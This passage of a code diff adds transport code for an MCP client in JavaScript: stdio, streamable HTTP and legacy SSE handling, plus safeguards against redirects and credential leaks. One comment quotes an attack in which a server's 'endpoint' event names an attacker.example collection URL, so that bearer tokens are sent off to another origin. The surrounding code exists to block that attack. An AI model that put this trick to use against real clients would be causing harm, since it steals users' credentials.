* ⚠️ MESSAGES ARE NEWLINE-DELIMITED AND CAN SPLIT ACROSS READS — the same trap
|
|
412
|
+
* the SSE parser has, for the same reason, and it fails the same way: fine on a
|
|
413
|
+
* fast local server, corrupt under load. Buffer, then split.
|
|
414
|
+
*/
|
|
415
|
+
function stdioTransport(child) {
|
|
416
|
+
let buffer = '';
|
|
417
|
+
let deliver = () => {};
|
|
418
|
+
child.stdout.setEncoding('utf8');
|
|
419
|
+
child.stdout.on('data', (chunk) => {
|
|
420
|
+
buffer += chunk;
|
|
421
|
+
let nl;
|
|
422
|
+
while ((nl = buffer.indexOf('\n')) !== -1) {
|
|
423
|
+
const line = buffer.slice(0, nl).trim();
|
|
424
|
+
buffer = buffer.slice(nl + 1);
|
|
425
|
+
if (!line) continue;
|
|
426
|
+
let msg;
|
|
427
|
+
try { msg = JSON.parse(line); } catch { continue; }
|
|
428
|
+
deliver(msg);
|
|
429
|
+
}
|
|
430
|
+
});
|
|
431
|
+
return {
|
|
432
|
+
send(payload, ctx) {
|
|
433
|
+
// ⭐ The transport learns where to deliver from the first request rather
|
|
434
|
+
// than from a constructor argument, so `createRpc` and the transport do
|
|
435
|
+
// not have to be built in a particular order.
|
|
436
|
+
if (ctx?.deliver) deliver = ctx.deliver;
|
|
437
|
+
child.stdin.write(`${JSON.stringify(payload)}\n`);
|
|
438
|
+
},
|
|
439
|
+
close() {
|
|
440
|
+
try { child.kill(); } catch { /* already gone */ }
|
|
441
|
+
},
|
|
442
|
+
};
|
|
443
|
+
}
|
|
444
|
+
|
|
445
|
+
/**
|
|
446
|
+
* ── SSE FRAME PARSING ───────────────────────────────────────────────────────
|
|
447
|
+
*
|
|
448
|
+
* ⚠️ `stream.mjs` ALREADY HAS `parseSse` AND IT CANNOT BE USED HERE, which is
|
|
449
|
+
* worth stating because reaching for it is the obvious move. That one throws
|
|
450
|
+
* away the `event:` field (OpenAI never sends one) — and MCP's SSE transport
|
|
451
|
+
* carries the POST endpoint in `event: endpoint`, so a parser that drops the
|
|
452
|
+
* event name cannot complete the handshake at all. It is also an async
|
|
453
|
+
* generator over a whole stream, where a POST response here may be a single
|
|
454
|
+
* JSON body instead; a push parser suits both.
|
|
455
|
+
*
|
|
456
|
+
* ⚠️ AND THE BUFFER IS STILL THE POINT: `data: {"cho` can arrive with the rest
|
|
457
|
+
* in the next read. Frames end at a BLANK LINE, not a newline.
|
|
458
|
+
*/
|
|
459
|
+
export function createSseParser(onFrame) {
|
|
460
|
+
let buf = '';
|
|
461
|
+
return {
|
|
462
|
+
push(text) {
|
|
463
|
+
// ⚠️ CRLF normalised first. The SSE spec allows \r\n, \n and bare \r as
|
|
464
|
+
// line terminators; a server behind a proxy that rewrites them would
|
|
465
|
+
// otherwise never produce a frame boundary we recognise.
|
|
466
|
+
buf += String(text).split('\r\n').join('\n').split('\r').join('\n');
|
|
467
|
+
let idx;
|
|
468
|
+
while ((idx = buf.indexOf('\n\n')) !== -1) {
|
|
469
|
+
const frame = buf.slice(0, idx);
|
|
470
|
+
buf = buf.slice(idx + 2);
|
|
471
|
+
let event = 'message';
|
|
472
|
+
const data = [];
|
|
473
|
+
for (const line of frame.split('\n')) {
|
|
474
|
+
if (!line || line.startsWith(':')) continue; // keep-alive comment
|
|
475
|
+
const c = line.indexOf(':');
|
|
476
|
+
const field = c === -1 ? line : line.slice(0, c);
|
|
477
|
+
let value = c === -1 ? '' : line.slice(c + 1);
|
|
478
|
+
if (value.startsWith(' ')) value = value.slice(1);
|
|
479
|
+
if (field === 'event') event = value;
|
|
480
|
+
else if (field === 'data') data.push(value);
|
|
481
|
+
}
|
|
482
|
+
if (data.length > 0) onFrame({ event, data: data.join('\n') });
|
|
483
|
+
}
|
|
484
|
+
},
|
|
485
|
+
};
|
|
486
|
+
}
|
|
487
|
+
|
|
488
|
+
/**
|
|
489
|
+
* ── ⚠️⚠️ AN UNREAD RESPONSE BODY IS A SOCKET NOBODY CLOSES ──────────────────
|
|
490
|
+
*
|
|
491
|
+
* MEASURED, and it is the exact failure `closeConnections` was just fixed for,
|
|
492
|
+
* arriving one layer lower. `fetch` in Node holds the connection open until the
|
|
493
|
+
* body is consumed or cancelled — so a 202 with an empty body, a 3xx we only
|
|
494
|
+
* read a header from, or the DELETE fired on the way out each leave a live
|
|
495
|
+
* handle. The first version of this file's test suite finished its 17 tests in
|
|
496
|
+
* under four seconds and then sat for **127 more** before the process could
|
|
497
|
+
* exit, on nothing but undrained bodies.
|
|
498
|
+
*
|
|
499
|
+
* ⭐ It is `void`-shaped and never throws: draining is hygiene, and hygiene that
|
|
500
|
+
* can fail a run is worse than the leak.
|
|
501
|
+
*/
|
|
502
|
+
function drain(res) {
|
|
503
|
+
try {
|
|
504
|
+
const p = res?.body?.cancel?.();
|
|
505
|
+
if (p && typeof p.catch === 'function') p.catch(() => {});
|
|
506
|
+
} catch { /* already consumed or never had one */ }
|
|
507
|
+
}
|
|
508
|
+
|
|
509
|
+
/**
|
|
510
|
+
* Read a fetch Response body as text chunks, feeding an SSE parser.
|
|
511
|
+
*
|
|
512
|
+
* ── ⚠️⚠️ `stopWhen` IS NOT AN OPTIMISATION — WITHOUT IT THIS HANGS FOR 125s ──
|
|
513
|
+
*
|
|
514
|
+
* MEASURED here, and it took an instrumented build to see because every
|
|
515
|
+
* assertion passed first. Against a server that answers a POST with
|
|
516
|
+
* `text/event-stream`, the `tools/call` reply was delivered, `callMcpTool`
|
|
517
|
+
* resolved, the test asserted and moved on — and this loop's `reader.read()`
|
|
518
|
+
* then never resolved AND never rejected, not even when `close()` fired the
|
|
519
|
+
* AbortController it was created with. The `finally` that clears the abort
|
|
520
|
+
* backstop therefore never ran, and its `CALL_TIMEOUT_MS + 5s` timer held the
|
|
521
|
+
* whole process open. Symptom: 17 green tests in two seconds, then 127 seconds
|
|
522
|
+
* of nothing, and a file-level `testTimeoutFailure` sitting under `# fail 0`.
|
|
523
|
+
*
|
|
524
|
+
* ⭐ AND STOPPING IS ALSO THE CORRECT PROTOCOL BEHAVIOUR, which is why this is
|
|
525
|
+
* the fix rather than a workaround. The spec allows a server to hold a POST's
|
|
526
|
+
* event stream open after sending the response (to push progress
|
|
527
|
+
* notifications); a client that waits for such a stream to close waits forever
|
|
528
|
+
* by design. We read until OUR reply arrives, then cancel.
|
|
529
|
+
*/
|
|
530
|
+
async function pumpSse(res, parser, stopWhen = () => false) {
|
|
531
|
+
const reader = res.body.getReader();
|
|
532
|
+
const decoder = new TextDecoder();
|
|
533
|
+
try {
|
|
534
|
+
for (;;) {
|
|
535
|
+
// eslint-disable-next-line no-await-in-loop
|
|
536
|
+
const { value, done } = await reader.read();
|
|
537
|
+
if (done) break;
|
|
538
|
+
parser.push(typeof value === 'string' ? value : decoder.decode(value, { stream: true }));
|
|
539
|
+
if (stopWhen()) break;
|
|
540
|
+
}
|
|
541
|
+
} finally {
|
|
542
|
+
// ⚠️ Releases the socket. An abandoned reader is the same leak as an
|
|
543
|
+
// undrained body — see `drain`.
|
|
544
|
+
try { await reader.cancel(); } catch { /* already closed */ }
|
|
545
|
+
}
|
|
546
|
+
}
|
|
547
|
+
|
|
548
|
+
/**
|
|
549
|
+
* Fetch, following ONLY same-origin redirects.
|
|
550
|
+
*
|
|
551
|
+
* ⚠️ `redirect: 'manual'` RATHER THAN 'follow', and the difference is the whole
|
|
552
|
+
* point: `follow` would carry `Authorization` to whatever host the first one
|
|
553
|
+
* names. The spec says a cross-origin redirect strips the header — relying on
|
|
554
|
+
* that is relying on somebody else's undici version to be right about a
|
|
555
|
+
* security property, when refusing by name costs fifteen lines and produces a
|
|
556
|
+
* diagnosable error instead of a mystery 401.
|
|
557
|
+
*/
|
|
558
|
+
export async function fetchSameOrigin(fetchImpl, target, init, { max = MAX_REDIRECTS } = {}) {
|
|
559
|
+
let current = String(target);
|
|
560
|
+
for (let hop = 0; hop <= max; hop += 1) {
|
|
561
|
+
// eslint-disable-next-line no-await-in-loop
|
|
562
|
+
const res = await fetchImpl(current, { ...init, redirect: 'manual' });
|
|
563
|
+
if (res.status < 300 || res.status > 399) return { res, url: current };
|
|
564
|
+
const loc = res.headers.get('location');
|
|
565
|
+
if (!loc) return { res, url: current };
|
|
566
|
+
// ⚠️ A redirect's body is never read, and an unread body pins the socket.
|
|
567
|
+
drain(res);
|
|
568
|
+
const next = new URL(loc, current);
|
|
569
|
+
const from = new URL(current);
|
|
570
|
+
if (next.origin !== from.origin) {
|
|
571
|
+
throw new Error(
|
|
572
|
+
`refused a redirect from ${from.origin} to ${next.origin} — the headers for this server, including any `
|
|
573
|
+
+ 'credential, were about to follow it to a host the config never named and you never approved',
|
|
574
|
+
);
|
|
575
|
+
}
|
|
576
|
+
current = next.toString();
|
|
577
|
+
}
|
|
578
|
+
throw new Error(`more than ${max} redirects — the server is looping`);
|
|
579
|
+
}
|
|
580
|
+
|
|
581
|
+
/**
|
|
582
|
+
* ── ⚠️⚠️ THE SERVER NAMED WHERE THE CREDENTIAL GOES, AND WE OBEYED ──────────
|
|
583
|
+
*
|
|
584
|
+
* The legacy SSE transport asks the server where to POST: it sends an
|
|
585
|
+
* `event: endpoint` frame and this client resolves it with
|
|
586
|
+
* `new URL(frame.data, streamUrl)`. `new URL` IGNORES THE BASE when the data is
|
|
587
|
+
* an absolute URL — so a server at an origin the user approved could answer
|
|
588
|
+
* event: endpoint
|
|
589
|
+
* data: https://attacker.example/collect
|
|
590
|
+
* and every subsequent POST carried `{...headers}`, including the expanded
|
|
591
|
+
* `Authorization: Bearer ${GITHUB_TOKEN}`, to a host nobody approved. An
|
|
592
|
+
* adversarial pass ran it: the credential arrived at the other origin on all
|
|
593
|
+
* three handshake messages.
|
|
594
|
+
*
|
|
595
|
+
* ⚠️ NEITHER EXISTING GUARD COVERED IT, AND THE FILE HEADER CLAIMED BOTH DID.
|
|
596
|
+
* `checkRemoteUrl` validates the CONFIGURED url at config time. `fetchSameOrigin`
|
|
597
|
+
* refuses a cross-origin REDIRECT — and an endpoint event is not a redirect, it
|
|
598
|
+
* is a payload. The credential went to the attacker on a first-hop request that
|
|
599
|
+
* never redirected anywhere.
|
|
600
|
+
*
|
|
601
|
+
* ⚠️ AND THE CONSENT FINGERPRINT BOUGHT NOTHING HERE. It hashes the URL the
|
|
602
|
+
* user approved; the destination is chosen afterwards, at runtime, by the
|
|
603
|
+
* server. There is no approval that could have covered it.
|
|
604
|
+
*
|
|
605
|
+
* ⭐ THE RULE: the endpoint must be SAME-ORIGIN with the stream we are already
|
|
606
|
+
* talking to, and must still satisfy `checkRemoteUrl`. Refused BY NAME, the way
|
|
607
|
+
* `fetchSameOrigin` refuses a redirect, because a diagnosable error beats a
|
|
608
|
+
* mystery 401 — and because a server legitimately sends a PATH, which is what
|
|
609
|
+
* the spec describes and what every real server does.
|
|
610
|
+
*
|
|
611
|
+
* Pure and exported so the refusal is testable without a network.
|
|
612
|
+
*
|
|
613
|
+
* @param {string} data the `event: endpoint` frame's data
|
|
614
|
+
* @param {string} streamUrl the url the event stream is actually being read from
|
|
615
|
+
* @returns {{ok: true, url: string} | {ok: false, error: string}}
|
|
616
|
+
*/
|
|
617
|
+
export function checkSseEndpoint(data, streamUrl) {
|
|
618
|
+
const raw = typeof data === 'string' ? data.trim() : '';
|
|
619
|
+
if (!raw) return { ok: false, error: 'the server sent an empty "endpoint" event, so there is nowhere to POST' };
|
|
620
|
+
let base;
|
|
621
|
+
try { base = new URL(String(streamUrl)); } catch {
|
|
622
|
+
return { ok: false, error: `cannot resolve an endpoint against ${JSON.stringify(String(streamUrl))}, which is not a URL` };
|
|
623
|
+
}
|
|
624
|
+
let target;
|
|
625
|
+
try { target = new URL(raw, base); } catch {
|
|
626
|
+
return { ok: false, error: `the server named an endpoint that is not a URL: ${raw}` };
|
|
627
|
+
}
|
|
628
|
+
if (target.origin !== base.origin) {
|
|
629
|
+
return {
|
|
630
|
+
ok: false,
|
|
631
|
+
error: `refused an "endpoint" of ${target.origin} from a server at ${base.origin} — every message after this one, `
|
|
632
|
+
+ 'including any credential in your headers, was about to be POSTed to a host the config never named and you '
|
|
633
|
+
+ 'never approved. A server may name a path; it may not name somebody else.',
|
|
634
|
+
};
|
|
635
|
+
}
|
|
636
|
+
// Belt and braces: the same https/loopback rule the configured url must pass.
|
|
637
|
+
// Reachable only via a protocol-relative `//host/path`, which resolves
|
|
638
|
+
// cross-origin and is caught above — but a rule enforced in one place only is
|
|
639
|
+
// how the first hole got here.
|
|
640
|
+
const scheme = checkRemoteUrl(target.toString(), { name: 'the endpoint it named' });
|
|
641
|
+
if (!scheme.ok) return scheme;
|
|
642
|
+
return { ok: true, url: target.toString() };
|
|
643
|
+
}
|
|
644
|
+
|
|
645
|
+
/** `${VAR}` / `$VAR`, the one form this file expands. Mirrors doctor.mjs's regex. */
|
|
646
|
+
const HEADER_PLACEHOLDER = /\$\{([A-Za-z_][A-Za-z0-9_]*)\}|\$([A-Za-z_][A-Za-z0-9_]*)/g;
|
|
647
|
+
|
|
648
|
+
/**
|
|
649
|
+
* Expand `${VAR}` references in a remote server's headers.
|
|
650
|
+
*
|
|
651
|
+
* Returns `{ ok:true, headers }` or `{ ok:false, error, missing:[names] }`.
|
|
652
|
+
*
|
|
653
|
+
* ⚠️ PURE AND EXPORTED SO THE REFUSAL IS TESTABLE WITHOUT A NETWORK. The branch
|
|
654
|
+
* that matters most — an unset variable must NOT be sent as literal text — is
|
|
655
|
+
* exactly the branch a network test would never reach on a healthy machine.
|
|
656
|
+
*/
|
|
657
|
+
export function resolveHeaders(server, { env = process.env } = {}) {
|
|
658
|
+
const out = {};
|
|
659
|
+
const missing = [];
|
|
660
|
+
for (const [key, raw] of Object.entries(server?.headers ?? {})) {
|
|
661
|
+
const value = String(raw).replace(HEADER_PLACEHOLDER, (_m, braced, bare) => {
|
|
662
|
+
const name = braced ?? bare;
|
|
663
|
+
const v = env?.[name];
|
|
664
|
+
if (typeof v !== 'string' || v.trim() === '') { missing.push(name); return ''; }
|
|
665
|
+
return v;
|
|
666
|
+
});
|
|
667
|
+
out[key] = value;
|
|
668
|
+
}
|
|
669
|
+
if (missing.length > 0) {
|
|
670
|
+
const names = [...new Set(missing)];
|
|
671
|
+
return {
|
|
672
|
+
ok: false,
|
|
673
|
+
missing: names,
|
|
674
|
+
error: `${names.join(', ')} ${names.length === 1 ? 'is' : 'are'} not set, and this server's headers reference `
|
|
675
|
+
+ `${names.length === 1 ? 'it' : 'them'} — refusing to connect rather than sending the literal text `
|
|
676
|
+
+ `"\${${names[0]}}" to ${server?.url ?? 'the server'}`,
|
|
677
|
+
};
|
|
678
|
+
}
|
|
679
|
+
return { ok: true, headers: out };
|
|
680
|
+
}
|
|
681
|
+
|
|
682
|
+
/**
|
|
683
|
+
* ── STREAMABLE HTTP (spec 2025-03-26 and later) ─────────────────────────────
|
|
684
|
+
*
|
|
685
|
+
* One endpoint. Every client→server message is a POST; the reply comes back
|
|
686
|
+
* either as a single `application/json` body or as a `text/event-stream` that
|
|
687
|
+
* closes once the answer has been sent. A `Mcp-Session-Id` handed back on
|
|
688
|
+
* `initialize` must be echoed on everything after it.
|
|
689
|
+
*
|
|
690
|
+
* ⭐ NOTHING HERE ALLOCATES AN ID, CORRELATES A REPLY OR TIMES ANYTHING OUT —
|
|
691
|
+
* `createRpc` does all of that. This function only knows how to move bytes.
|
|
692
|
+
*/
|
|
693
|
+
function streamableHttpTransport({ url, headers, fetchImpl }) {
|
|
694
|
+
let sessionId = null;
|
|
695
|
+
let closed = false;
|
|
696
|
+
const inFlight = new Set();
|
|
697
|
+
|
|
698
|
+
return {
|
|
699
|
+
async send(payload, ctx) {
|
|
700
|
+
if (closed) throw new Error('the connection is closed');
|
|
701
|
+
const ac = new AbortController();
|
|
702
|
+
inFlight.add(ac);
|
|
703
|
+
/**
|
|
704
|
+
* ⚠️ THE ABORT IS THE BACKSTOP, NOT THE BUDGET. `createRpc` already
|
|
705
|
+
* resolves the caller at `timeoutMs`; without this the socket would stay
|
|
706
|
+
* open behind it forever and hold the process alive — the failure
|
|
707
|
+
* `child-lifetime.mjs` documents for children, arriving over TCP.
|
|
708
|
+
*/
|
|
709
|
+
const timer = setTimeout(() => { try { ac.abort(); } catch { /* already */ } }, (ctx?.timeoutMs ?? CALL_TIMEOUT_MS) + 5_000);
|
|
710
|
+
try {
|
|
711
|
+
const { res } = await fetchSameOrigin(fetchImpl, url, {
|
|
712
|
+
method: 'POST',
|
|
713
|
+
headers: {
|
|
714
|
+
...headers,
|
|
715
|
+
'content-type': 'application/json',
|
|
716
|
+
// ⭐ BOTH, in this order: the spec lets a server answer a POST with
|
|
717
|
+
// either, and a client that accepts only one gets a 406 from half
|
|
718
|
+
// the implementations in the wild.
|
|
719
|
+
accept: 'application/json, text/event-stream',
|
|
720
|
+
'mcp-protocol-version': HTTP_PROTOCOL_VERSION,
|
|
721
|
+
...(sessionId ? { 'mcp-session-id': sessionId } : {}),
|
|
722
|
+
},
|
|
723
|
+
body: JSON.stringify(payload),
|
|
724
|
+
signal: ac.signal,
|
|
725
|
+
});
|
|
726
|
+
|
|
727
|
+
// ⭐ Captured from EVERY response, not just initialize's: a server is
|
|
728
|
+
// allowed to assign the session later, and missing it means every
|
|
729
|
+
// subsequent call comes back 404 "session not found".
|
|
730
|
+
const sid = res.headers.get('mcp-session-id');
|
|
731
|
+
if (sid) sessionId = sid;
|
|
732
|
+
|
|
733
|
+
if (res.status === 202 || res.status === 204) { drain(res); return; } // accepted; the reply, if any, is elsewhere
|
|
734
|
+
if (!res.ok) {
|
|
735
|
+
const body = await res.text().catch(() => '');
|
|
736
|
+
throw new Error(`HTTP ${res.status}${body ? ` — ${body.slice(0, 200)}` : ''}`);
|
|
737
|
+
}
|
|
738
|
+
|
|
739
|
+
const ct = String(res.headers.get('content-type') ?? '');
|
|
740
|
+
if (ct.includes('text/event-stream')) {
|
|
741
|
+
// ⭐ "answered" is per-REQUEST, matched on the id `createRpc` allocated.
|
|
742
|
+
// A server is free to push progress notifications on this stream first;
|
|
743
|
+
// they are delivered, they do not end the read, and the reply does.
|
|
744
|
+
let answered = false;
|
|
745
|
+
const parser = createSseParser((frame) => {
|
|
746
|
+
if (frame.event && frame.event !== 'message') return;
|
|
747
|
+
let msg;
|
|
748
|
+
try { msg = JSON.parse(frame.data); } catch { return; }
|
|
749
|
+
for (const m of Array.isArray(msg) ? msg : [msg]) {
|
|
750
|
+
ctx.deliver(m);
|
|
751
|
+
if (ctx?.id !== undefined && m?.id === ctx.id) answered = true;
|
|
752
|
+
}
|
|
753
|
+
});
|
|
754
|
+
await pumpSse(res, parser, () => answered);
|
|
755
|
+
return;
|
|
756
|
+
}
|
|
757
|
+
|
|
758
|
+
const text = await res.text();
|
|
759
|
+
if (!text.trim()) return;
|
|
760
|
+
let msg;
|
|
761
|
+
try {
|
|
762
|
+
msg = JSON.parse(text);
|
|
763
|
+
} catch {
|
|
764
|
+
/**
|
|
765
|
+
* ⚠️ AN HTML BODY ON A 200 IS THE CORPORATE-PROXY / CONSENT-WALL
|
|
766
|
+
* SHAPE model.mjs already pays for, and this package has shipped the
|
|
767
|
+
* "a wall is a 200" bug before. Saying "not JSON-RPC" plus the
|
|
768
|
+
* content type is what makes it diagnosable in one read.
|
|
769
|
+
*/
|
|
770
|
+
throw new Error(`the server answered 200 with ${ct || 'no content-type'}, which is not JSON-RPC`);
|
|
771
|
+
}
|
|
772
|
+
for (const m of Array.isArray(msg) ? msg : [msg]) ctx.deliver(m);
|
|
773
|
+
} finally {
|
|
774
|
+
clearTimeout(timer);
|
|
775
|
+
inFlight.delete(ac);
|
|
776
|
+
}
|
|
777
|
+
},
|
|
778
|
+
close() {
|
|
779
|
+
closed = true;
|
|
780
|
+
for (const ac of inFlight) { try { ac.abort(); } catch { /* already */ } }
|
|
781
|
+
inFlight.clear();
|
|
782
|
+
/**
|
|
783
|
+
* ⚠️ FIRE AND FORGET, AND THE `.catch` IS LOAD-BEARING. The spec asks a
|
|
784
|
+
* client to DELETE its session so the server can free it; we are exiting,
|
|
785
|
+
* so we neither await it nor care if it fails — but an unawaited rejection
|
|
786
|
+
* on the way out is an unhandled rejection, which turns a clean exit into
|
|
787
|
+
* a crash.
|
|
788
|
+
*/
|
|
789
|
+
if (sessionId) {
|
|
790
|
+
try {
|
|
791
|
+
const p = fetchImpl(url, { method: 'DELETE', headers: { ...headers, 'mcp-session-id': sessionId } });
|
|
792
|
+
if (p && typeof p.then === 'function') p.then(drain, () => {});
|
|
793
|
+
} catch { /* exiting anyway */ }
|
|
794
|
+
}
|
|
795
|
+
},
|
|
796
|
+
};
|
|
797
|
+
}
|
|
798
|
+
|
|
799
|
+
/**
|
|
800
|
+
* ── LEGACY SSE (spec 2024-11-05) ────────────────────────────────────────────
|
|
801
|
+
*
|
|
802
|
+
* Two channels. A long-lived GET carries every server→client message; its first
|
|
803
|
+
* frame, `event: endpoint`, names a SECOND url that client→server POSTs go to.
|
|
804
|
+
* Those POSTs answer `202 Accepted` with an empty body — the actual reply
|
|
805
|
+
* arrives on the GET stream, which is precisely why the correlation has to live
|
|
806
|
+
* in `createRpc` and not in a transport.
|
|
807
|
+
*
|
|
808
|
+
* ⚠️ KEPT, THOUGH IT IS DEPRECATED, BECAUSE IT IS WHAT LOCAL SERVERS SPEAK.
|
|
809
|
+
* Figma's desktop server is `http://127.0.0.1:3845/sse`; several hosted ones
|
|
810
|
+
* still publish an `/sse` url beside their `/mcp` one. Refusing `type:"sse"`
|
|
811
|
+
* would reject the documented config line for a whole class of servers.
|
|
812
|
+
*/
|
|
813
|
+
function sseTransport({ url, headers, fetchImpl }) {
|
|
814
|
+
const ac = new AbortController();
|
|
815
|
+
let endpoint = null;
|
|
816
|
+
let failed = null;
|
|
817
|
+
let opening = null;
|
|
818
|
+
const waiters = [];
|
|
819
|
+
|
|
820
|
+
function settleWaiters() {
|
|
821
|
+
while (waiters.length) {
|
|
822
|
+
const w = waiters.pop();
|
|
823
|
+
if (failed) w.reject(failed); else w.resolve(endpoint);
|
|
824
|
+
}
|
|
825
|
+
}
|
|
826
|
+
|
|
827
|
+
function open(deliver) {
|
|
828
|
+
if (opening) return opening;
|
|
829
|
+
opening = (async () => {
|
|
830
|
+
const { res, url: streamUrl } = await fetchSameOrigin(fetchImpl, url, {
|
|
831
|
+
method: 'GET',
|
|
832
|
+
headers: { ...headers, accept: 'text/event-stream' },
|
|
833
|
+
signal: ac.signal,
|
|
834
|
+
});
|
|
835
|
+
if (!res.ok || !res.body) throw new Error(`GET answered ${res.status} — expected an event stream`);
|
|
836
|
+
const parser = createSseParser((frame) => {
|
|
837
|
+
if (frame.event === 'endpoint') {
|
|
838
|
+
// ⚠️ RESOLVED AGAINST THE STREAM URL, not the configured one: servers
|
|
839
|
+
// send a path (`/messages?sessionId=…`), and after a same-origin
|
|
840
|
+
// redirect the base is the url we actually landed on.
|
|
841
|
+
const checked = checkSseEndpoint(frame.data, streamUrl);
|
|
842
|
+
if (checked.ok) endpoint = checked.url;
|
|
843
|
+
else failed = new Error(checked.error);
|
|
844
|
+
settleWaiters();
|
|
845
|
+
return;
|
|
846
|
+
}
|
|
847
|
+
let msg;
|
|
848
|
+
try { msg = JSON.parse(frame.data); } catch { return; }
|
|
849
|
+
for (const m of Array.isArray(msg) ? msg : [msg]) deliver(m);
|
|
850
|
+
});
|
|
851
|
+
/**
|
|
852
|
+
* ⚠️ NOT AWAITED. This stream stays open for the life of the session, so
|
|
853
|
+
* awaiting it here would hang the handshake forever. It is torn down by
|
|
854
|
+
* `close()`, and its failure is recorded for whoever is waiting on the
|
|
855
|
+
* endpoint rather than thrown into nobody's hands.
|
|
856
|
+
*/
|
|
857
|
+
pumpSse(res, parser).catch((err) => {
|
|
858
|
+
if (!failed && err?.name !== 'AbortError') failed = err;
|
|
859
|
+
settleWaiters();
|
|
860
|
+
}).then(() => {
|
|
861
|
+
if (!endpoint && !failed) failed = new Error('the event stream closed before naming a POST endpoint');
|
|
862
|
+
settleWaiters();
|
|
863
|
+
});
|
|
864
|
+
})().catch((err) => { failed = err; settleWaiters(); });
|
|
865
|
+
return opening;
|
|
866
|
+
}
|
|
867
|
+
|
|
868
|
+
function waitForEndpoint(timeoutMs) {
|
|
869
|
+
if (endpoint) return Promise.resolve(endpoint);
|
|
870
|
+
if (failed) return Promise.reject(failed);
|
|
871
|
+
return new Promise((resolve, reject) => {
|
|
872
|
+
const timer = setTimeout(() => reject(new Error(`the server never sent its "endpoint" event within ${Math.round(timeoutMs / 1000)}s`)), timeoutMs);
|
|
873
|
+
waiters.push({
|
|
874
|
+
resolve: (v) => { clearTimeout(timer); resolve(v); },
|
|
875
|
+
reject: (e) => { clearTimeout(timer); reject(e); },
|
|
876
|
+
});
|
|
877
|
+
});
|
|
878
|
+
}
|
|
879
|
+
|
|
880
|
+
return {
|
|
881
|
+
async send(payload, ctx) {
|
|
882
|
+
open(ctx.deliver);
|
|
883
|
+
const target = await waitForEndpoint(ctx?.timeoutMs ?? HANDSHAKE_TIMEOUT_MS);
|
|
884
|
+
const { res } = await fetchSameOrigin(fetchImpl, target, {
|
|
885
|
+
method: 'POST',
|
|
886
|
+
headers: { ...headers, 'content-type': 'application/json' },
|
|
887
|
+
body: JSON.stringify(payload),
|
|
888
|
+
signal: ac.signal,
|
|
889
|
+
});
|
|
890
|
+
if (!res.ok) {
|
|
891
|
+
const body = await res.text().catch(() => '');
|
|
892
|
+
throw new Error(`POST to the message endpoint answered ${res.status}${body ? ` — ${body.slice(0, 200)}` : ''}`);
|
|
893
|
+
}
|
|
894
|
+
// ⭐ Some servers answer the POST with the reply inline instead of 202.
|
|
895
|
+
// Both are allowed; delivering whatever came back costs nothing and
|
|
896
|
+
// `createRpc` ignores an id it is not waiting for.
|
|
897
|
+
const text = await res.text().catch(() => '');
|
|
898
|
+
if (text.trim()) {
|
|
899
|
+
try {
|
|
900
|
+
const msg = JSON.parse(text);
|
|
901
|
+
for (const m of Array.isArray(msg) ? msg : [msg]) ctx.deliver(m);
|
|
902
|
+
} catch { /* 202 bodies are routinely "Accepted" */ }
|
|
903
|
+
}
|
|
904
|
+
},
|
|
905
|
+
close() {
|
|
906
|
+
try { ac.abort(); } catch { /* already */ }
|
|
907
|
+
},
|
|
908
|
+
};
|
|
909
|
+
}
|
|
910
|
+
|
|
911
|
+
/**
|
|
912
|
+
* Start one server and ask what it can do.
|
|
913
|
+
*
|
|
914
|
+
* ⚠️ NEVER THROWS. A broken server in a config must degrade to "that one is
|
|
915
|
+
* unavailable" — the others still work, and the session still runs. A user with
|
|
916
|
+
* five servers should not lose their whole tool surface because one of them has
|
|
917
|
+
* a bad path.
|
|
918
|
+
*/
|
|
919
|
+
/**
|
|
920
|
+
* ── ⚠️ WINDOWS CANNOT SPAWN `npx` WITHOUT A SHELL, AND MOST SERVERS ARE npx ──
|
|
921
|
+
*
|
|
922
|
+
* `spawn('npx', args, {shell:false})` fails with ENOENT on Windows: npx is
|
|
923
|
+
* `npx.cmd`, and since the BatBadBut fix (CVE-2024-27980) Node refuses to run a
|
|
924
|
+
* `.cmd` without `shell: true`. Measured here — every MCP server configured the
|
|
925
|
+
* normal way (`"command": "npx"`) simply would not start.
|
|
926
|
+
*
|
|
927
|
+
* ⚠️ THE OBVIOUS FIX IS `shell: true` AND IT IS THE WRONG ONE. It would hand a
|
|
928
|
+
* shell a command string assembled from a config file, reintroducing exactly the
|
|
929
|
+
* injection surface `command.mjs` spends four hundred lines removing — on the
|
|
930
|
+
* one path that also carries the user's API tokens in its environment.
|
|
931
|
+
*
|
|
932
|
+
* ⭐ So the executable is RESOLVED to a real file first and spawned by absolute
|
|
933
|
+
* path. Same trick `buildInvocation` uses for npm, generalised: walk PATH with
|
|
934
|
+
* PATHEXT, find what would actually have run, and run that.
|
|
935
|
+
*/
|
|
936
|
+
function nodeCliEntry(name) {
|
|
937
|
+
/**
|
|
938
|
+
* ⭐ THE ONLY WINDOWS-SAFE WAY TO RUN npm/npx WITHOUT A SHELL, and
|
|
939
|
+
* `command.mjs` already proved it: spawn the real `node` we are running with
|
|
940
|
+
* npm's own JavaScript entry point. No shim, no `.cmd`, no PATH lookup of
|
|
941
|
+
* anything but node itself, identical behaviour on every platform.
|
|
942
|
+
*
|
|
943
|
+
* ⚠️ Resolving to `npx.cmd` and spawning it by absolute path does NOT work —
|
|
944
|
+
* Node rejects it with EINVAL, which is the BatBadBut protection
|
|
945
|
+
* (CVE-2024-27980) doing its job. Measured here, after the PATHEXT fix.
|
|
946
|
+
*/
|
|
947
|
+
const dir = dirname(process.execPath);
|
|
948
|
+
const file = name === 'npm' ? 'npm-cli.js' : 'npx-cli.js';
|
|
949
|
+
for (const c of [
|
|
950
|
+
join(dir, 'node_modules', 'npm', 'bin', file),
|
|
951
|
+
join(dir, '..', 'lib', 'node_modules', 'npm', 'bin', file),
|
|
952
|
+
join(dir, '..', 'node_modules', 'npm', 'bin', file),
|
|
953
|
+
]) {
|
|
954
|
+
if (existsSync(c)) return c;
|
|
955
|
+
}
|
|
956
|
+
return null;
|
|
957
|
+
}
|
|
958
|
+
|
|
959
|
+
function resolveExecutable(command) {
|
|
960
|
+
// An explicit path is used as given.
|
|
961
|
+
if (command.includes('/') || command.includes(String.fromCharCode(92))) return command;
|
|
962
|
+
if (process.platform !== 'win32') return command;
|
|
963
|
+
|
|
964
|
+
const exts = (process.env.PATHEXT || '.COM;.EXE;.BAT;.CMD').split(';').filter(Boolean);
|
|
965
|
+
const dirs = (process.env.PATH || '').split(';').filter(Boolean);
|
|
966
|
+
for (const dir of dirs) {
|
|
967
|
+
/**
|
|
968
|
+
* ⚠️ EXTENSIONS FIRST, BARE NAME LAST — and the other order is a real bug I
|
|
969
